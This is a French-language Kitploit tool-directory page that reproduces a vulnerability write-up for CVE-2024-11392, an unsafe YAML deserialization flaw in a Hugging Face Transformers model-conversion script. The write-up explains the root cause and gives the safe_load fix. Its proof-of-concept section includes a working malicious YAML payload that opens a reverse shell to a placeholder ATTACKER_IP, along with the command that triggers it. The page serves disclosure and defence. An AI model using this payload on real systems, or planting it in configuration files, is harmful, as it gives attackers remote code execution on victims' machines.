Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-11392 — Détails techniques et exploit pour CVE-2024-11392 | Kitploit
Outils/GitHubGitHub/piyush-bhor/cve-2024-11392
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubpiyush-bhor/cve-2024-11392

CVE-2024-11392

Détails techniques et exploit pour CVE-2024-11392

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-11392

Vulnérabilité d'exécution de code à distance par désérialisation de données non fiables dans Hugging Face Transformers MobileViTV2

Aperçu général et effets de la vulnérabilité : La vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur la machine hôte en fournissant un fichier de configuration malveillant au script convert_mlcvnets_to_pytorch.py dans le dépôt Hugging Face Transformers. Si un utilisateur peu méfiant utilise un modèle tiers accompagné d'un fichier de configuration malveillant, l'exécution du script convert_mlcvnets_to_pytorch.py conduira à une exécution de code à distance (RCE) sur le système de la victime.

Le produit vulnérable

  • Produit : Hugging Face Transformers
  • Module : MobileViTV2
  • Fichier : transformers/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py
  • Version : Latest
  • Lien GitHub : https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py

Analyse des causes racines

  • Description détaillée de la vulnérabilité : La vulnérabilité résulte d'une désérialisation non sécurisée de données non fiables. Le script utilise la fonction yaml.load avec le chargeur FullLoader, qui charge la totalité du langage YAML et est vulnérable à l'exécution de code.

  • Flux de code de l'entrée à la condition vulnérable :

    1. L'utilisateur télécharge un modèle ml-cvnet tiers accompagné de son fichier de configuration.
    2. L'utilisateur exécute le script convert_mlcvnets_to_pytorch.py et lui transmet le fichier de configuration.
    3. Le script convert_mlcvnets_to_pytorch.py désérialise le fichier de configuration et exécute le code malveillant.
  • Point d'injection : La vulnérabilité se produit au point où yaml.load(yaml_file, Loader=yaml.FullLoader) est appelé. Lien GitHub : https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57

  • Corrections suggérées : Remplacez yaml.load(yaml_file, Loader=yaml.FullLoader) par yaml.safe_load(yaml_file) pour empêcher l'exécution de code arbitraire.

  • Instructions pour exécuter la preuve de concept :

  1. Créez un fichier de configuration YAML malveillant transformers_exploit.yaml qui ouvrira un shell inversé sur le système de la victime :
root@kitploit:~
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
  1. Exécutez le script convert_mlcvnets_to_pytorch.py et transmettez le fichier transformers_exploit.yaml à --orig_config_path :
root@kitploit:~
> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256

Remarque : Le fichier dummy_checkpoint.pt peut rester vide, dummy_output peut être un répertoire vide , et task peut être l'une des options mentionnées dans le script.

Lien de téléchargement du logiciel : https://github.com/huggingface/transformers/tree/main

Télécharger l’outil